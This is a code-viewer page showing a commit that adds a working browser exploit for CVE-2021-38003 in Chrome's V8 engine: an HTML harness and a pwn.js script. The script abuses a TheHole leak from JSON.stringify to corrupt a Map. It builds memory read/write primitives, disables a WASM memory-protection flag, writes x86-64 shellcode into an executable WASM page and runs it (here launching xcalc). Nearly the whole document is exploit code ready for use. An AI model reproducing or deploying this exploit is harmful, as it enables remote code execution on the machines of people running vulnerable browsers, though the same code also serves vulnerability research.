🤬
  • ■ ■ ■ ■ ■ ■
    CVE-2021-38003/index.html
     1 +<html>
     2 + <pre id='log'></pre>
     3 + <script>
     4 + function print(str) {
     5 + var log = document.getElementById('log');
     6 + if (log) {
     7 + log.innerText += str + '\n';
     8 + }
     9 + }
     10 + function logi(str) {
     11 + print('[+] '+str);
     12 + }
     13 + function loge(str) {
     14 + print('[!] '+str);
     15 + }
     16 + function hex(i) {
     17 + start = "";
     18 + content = i.toString(16);
     19 + if (i < 0) {
     20 + start += "-";
     21 + content = content.substring(1);
     22 + }
     23 + return start + "0x" + content;
     24 + }
     25 + </script>
     26 + <script src="pwn.js"></script>
     27 +</html>
     28 + 
  • ■ ■ ■ ■ ■ ■
    CVE-2021-38003/pwn.js
     1 +ab = new ArrayBuffer(8);
     2 +f64 = new Float64Array(ab);
     3 +B64 = new BigInt64Array(ab);
     4 + 
     5 +function ftoi(f) {
     6 + f64[0] = f;
     7 + return B64[0];
     8 +}
     9 + 
     10 +function itof(i) {
     11 + B64[0] = i;
     12 + return f64[0];
     13 +}
     14 + 
     15 +// trigger vuln to return a TheHole value
     16 +function trigger() {
     17 + let a = [], b = [];
     18 + let s = '"'.repeat(0x800000);
     19 + a[20000] = s;
     20 + for (let i = 0; i < 10; i++) a[i] = s;
     21 + for (let i = 0; i < 10; i++) b[i] = a;
     22 + 
     23 + try {
     24 + JSON.stringify(b);
     25 + } catch (hole) {
     26 + return hole;
     27 + }
     28 + throw new Error('could not trigger');
     29 +}
     30 + 
     31 +let hole = trigger();
     32 +// Create a map and make its size become -1
     33 +var map = new Map();
     34 +map.set(1, 1);
     35 +map.set(hole, 1);
     36 +map.delete(hole);
     37 +map.delete(hole);
     38 +map.delete(1);
     39 +// Now map.size = -1
     40 +oob_arr = [1.1, 1.1, 1.1, 1.1]; // oob array. This array's size will be overwritten by map, thus can do OOB read/write
     41 +victim_arr = [2.2, 2.2, 2.2, 2.2]; // victim array. This array lies within oob array, thus its member can be controlled by oob array
     42 +obj_arr = [{}, {}, {}, {}]; // object array. Used for storing object. This array lies within oob array, thus its member can be controlled by oob array
     43 + 
     44 +// OOB write in map, overwrite oob_arr's size to 0x111
     45 +map.set(0x1c, -1); // bucket_count = 0x1c, hashTable[0] = -1
     46 +map.set(0x111, 0); // hashcode(0x111) & (bucket_count-1) == 0, overwrite oob_arr's length into 0x111
     47 + 
     48 +data = ftoi(oob_arr[12]); // victim_arr's element and size
     49 +ori_victim_arr_elem = data & 0xffffffffn; // get original victim_arr's element pointer
     50 +/*
     51 + * addrof primitive
     52 + * Modify the element pointer of victim_arr ( oob_arr[12] ) & obj_arr ( oob_arr[31] ), make them point to same memory
     53 + * Then put object in obj_arr[0] and read its address with victim_arr[0]
     54 + *
     55 + * @param {object} o Target object
     56 + * @return {BigInt} address of the target object
     57 + * */
     58 +function addrof(o) {
     59 + oob_arr[12] = itof((0x8n << 32n) | ori_victim_arr_elem); // set victim_arr's element pointer & size
     60 + oob_arr[31] = itof((0x8n << 32n) | ori_victim_arr_elem); // set obj_arr's element pointer & size
     61 + obj_arr[0] = o;
     62 + return ftoi(victim_arr[0]) & 0xffffffffn;
     63 +}
     64 + 
     65 +/*
     66 + * arbitrary V8 heap read primitive
     67 + * Modify the element pointer of victim_arr ( oob_arr[12] )
     68 + * Use victim_arr[0] to read 64 bit content from V8 heap
     69 + *
     70 + * @param {BigInt} addr Target V8 heap address
     71 + * @return {BigInt} 64 bit content of the target address
     72 + * */
     73 +function heap_read64(addr) {
     74 + oob_arr[12] = itof((0x8n << 32n) | (addr-0x8n)); // set victim_arr's element pointer & size. Have to -8 so victim_arr[0] can points to addr
     75 + return ftoi(victim_arr[0]);
     76 +}
     77 + 
     78 +/*
     79 + * arbitrary V8 heap write primitive
     80 + * Use the same method in heap_read64 to modify pointer
     81 + * Then victim_arr[0] to write 64 bit content to V8 heap
     82 + *
     83 + * @param {BigInt} addr Target V8 heap address
     84 + * @param {BigInt} val Written value
     85 + * */
     86 +function heap_write64(addr, val) {
     87 + oob_arr[12] = itof((0x8n << 32n) | (addr-0x8n)); // set victim_arr's element pointer & size. Have to -8 so victim_arr[0] can points to addr
     88 + victim_arr[0] = itof(val);
     89 +}
     90 + 
     91 +dv = new DataView(new ArrayBuffer(0x1000)); // typed array used for arbitrary read/write
     92 +dv_addr = addrof(dv);
     93 +dv_buffer = heap_read64(dv_addr+0xcn); // dv_addr + 0xc = DataView->buffer
     94 + 
     95 +/*
     96 + * Set DataView's backing store pointer, so later we can use dv to achieve arbitrary read/write
     97 + * @param {BigInt} addr Target address to read/write
     98 + * */
     99 +function set_dv_backing_store(addr) {
     100 + heap_write64(dv_buffer+0x1cn, addr); // dv_buffer+0x1c == DataView->buffer->backing store pointer
     101 +}
     102 + 
     103 +// Calculate the address of FLAG_wasm_memory_protection_keys
     104 +// ref: https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975/
     105 +oac = new OfflineAudioContext(1,4000,4000);
     106 +wrapper_type_info = heap_read64(addrof(oac)+0xcn);
     107 +chrome_base = wrapper_type_info - 0xc4a6170n;
     108 +FLAG_wasm_memory_protection_keys = chrome_base + 0xc59c7e2n;
     109 +// Overwrite FLAG_wasm_memory_protection_keys to 0
     110 +set_dv_backing_store(FLAG_wasm_memory_protection_keys); // set dv point to FLAG_wasm_memory_protection_keys
     111 +dv.setUint8(0, 0); // Overwrite the flag to 0
     112 + 
     113 +// Now we can use the good old WASM trick to achieve RCE without being bothered by write-protect wasm memory
     114 +var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
     115 +var wasm_mod = new WebAssembly.Module(wasm_code);
     116 +var wasm_instance = new WebAssembly.Instance(wasm_mod);
     117 +var f = wasm_instance.exports.main;
     118 +// Get rwx page address ( wasm_instance + 0x60 == rwx code page )
     119 +var rwx = heap_read64(addrof(wasm_instance) + 0x60n);
     120 +// execve("/usr/bin/xcalc", ["/usr/bin/xcalc"], ["DISPLAY=:0"])
     121 +shellcode = [0x90, 0x90, 0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x79, 0x62, 0x60, 0x6d, 0x62, 0x1, 0x1, 0x48, 0x31, 0x4, 0x24, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x50, 0x48, 0x89, 0xe7, 0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x79, 0x62, 0x60, 0x6d, 0x62, 0x1, 0x1, 0x48, 0x31, 0x4, 0x24, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x50, 0x31, 0xf6, 0x56, 0x6a, 0x8, 0x5e, 0x48, 0x1, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x68, 0x3b, 0x31, 0x1, 0x1, 0x81, 0x34, 0x24, 0x1, 0x1, 0x1, 0x1, 0x48, 0xb8, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x50, 0x31, 0xd2, 0x52, 0x6a, 0x8, 0x5a, 0x48, 0x1, 0xe2, 0x52, 0x48, 0x89, 0xe2, 0x6a, 0x3b, 0x58, 0xf, 0x5]
     122 +// Write shellcode to the rwx page
     123 +set_dv_backing_store(rwx); // set dv point to rwx page
     124 +for (let i = 0 ; i < shellcode.length ; i++ ) {
     125 + dv.setUint8(i, shellcode[i]);
     126 +}
     127 +// trigger shellcode
     128 +f();
     129 + 
     130 + 
Please wait...
Page is in error, reload to recover